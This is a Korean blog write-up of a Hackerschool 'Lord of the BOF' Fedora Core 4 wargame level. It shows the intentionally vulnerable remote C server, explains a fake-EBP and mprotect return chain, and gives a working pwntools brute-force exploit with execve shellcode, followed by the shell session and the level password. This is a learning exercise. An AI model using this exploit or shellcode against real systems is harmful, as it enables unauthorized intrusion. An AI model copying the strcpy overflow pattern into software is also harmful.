ID | cruel
PW | come on, come over
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | /* The Lord of the BOF : The Fellowship of the BOF - enigma - Remote BOF on Fedora Core 4 - hint : ? - port : TCP 7777 */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> int vuln(int canary,char *ptr) { char buffer[256]; int *ret; // stack overflow!! strcpy(buffer,ptr); // overflow protected if(canary != 0x31337) { printf("who broke my canary?!"); exit(1); } // preventing RTL ret = &canary - 1; if((*ret & 0xff000000) == 0) { printf("I've an allergy to NULL"); exit(1); } // clearing attack buffer memset(ptr, 0, 1024); return 0; } int main() { char buffer[1024]; printf("enigma : The brothers will be glad to have you!\n"); printf("you : "); fflush(stdout); // give me a food! fgets(buffer, 1024, stdin); // oops~! vuln(0x31337, buffer); // bye bye exit(0); } |
가젯이 없어서 rop가 안되므로 다른 방법을 찾았다.
fgets 의 임시버퍼 stdin을 활용한다.
payload =
buffer[260] (nop + shellcode) + fakeebp[stdin+268] + leaveret + canary + mprotect + stdin + stdin + 1024 + 7
fakeebp를 통해 stdin에서의 canary 시작부분이 esp가 되고 leaveret으로 leave canary / ret mprotect
mprotect 함수로 stdin 1024만큼 RWX 권한을 부여. 여기에 사용되는 주소가 0x?????000 이어야 하는데 확인해보면 이 조건을 만족한다.
그다음 stdin으로 점프, nop sled 후에 쉘코드 실행.
stdin의 주소는 랜덤이기 때문에 brute force로 쉘을 따야 한다.
쉘코드는 25바이트 쉘코드를 사용했다.
0x0804858e <vuln+142>: leave
0x0804858f <vuln+143>: ret
leaveret = 0x0804858e
stdin 주소 구하기
0x080485e0 <main+80>: mov eax,ds:0x804985c
0x080485e5 <main+85>: sub esp,0x4
0x080485e8 <main+88>: push eax
0x080485e9 <main+89>: push 0x400
0x080485ee <main+94>: lea eax,[ebp-1024]
0x080485f4 <main+100>: push eax
0x080485f5 <main+101>: call 0x80483ec
stdin = 0xb7fe1000
(gdb) p mprotect
$1 = {<text variable, no debug info>} 0x86d240 <mprotect>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | #fc4 got_overwrite from pwn import * shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" leaveret = 0x0804858e canary = 0x31337 mprotect = 0x86d240 stdin = 0xb7fe1000 payload = "\x90" * (260-len(shellcode)) payload += shellcode payload += p32(stdin+268) #fakeebp payload += p32(leaveret) payload += p32(canary) payload += p32(mprotect) payload += p32(stdin) payload += p32(stdin) payload += p32(1024) payload += p32(7) print(payload) i=1 while True: print i i += 1 p = remote("192.168.0.205", 7777) p.recv(1024) p.sendline(payload) time.sleep(0.1) p.sendline('whoami') try: if 'enigma' in p.recv(1024): print '[+]Success!!!' p.interactive() break else: p.close() continue except: p.close() continue | cs |
108
[+] Opening connection to 192.168.0.205 on port 7777: Done
[+]Success!!!
[*] Switching to interactive mode
$ my-pass
euid = 502
let me ride
$
처음에 500번을 시도해도 쉘이 안따졌는데, 그 이유가 쉘을 땄는지 판별하는 코드 부분의 문제였다.
그 부분을 수정하고나서 쉘이 108번만에 따졌다.
'System Hacking > LOB FC' 카테고리의 다른 글
해커스쿨 LOB FC10 [titan -> balog] 풀이 (0) | 2019.02.23 |
---|---|
해커스쿨 LOB FC4 [enigma -> titan] 풀이 (0) | 2019.02.23 |
해커스쿨 LOB FC4 [dark_stone -> cruel] 풀이 (0) | 2019.02.20 |
해커스쿨 LOB FC3 [evil_wizard -> dark_stone] 풀이 (0) | 2019.02.20 |
해커스쿨 LOB FC3 [hell_fire -> evil_wizard] 풀이 (0) | 2019.02.19 |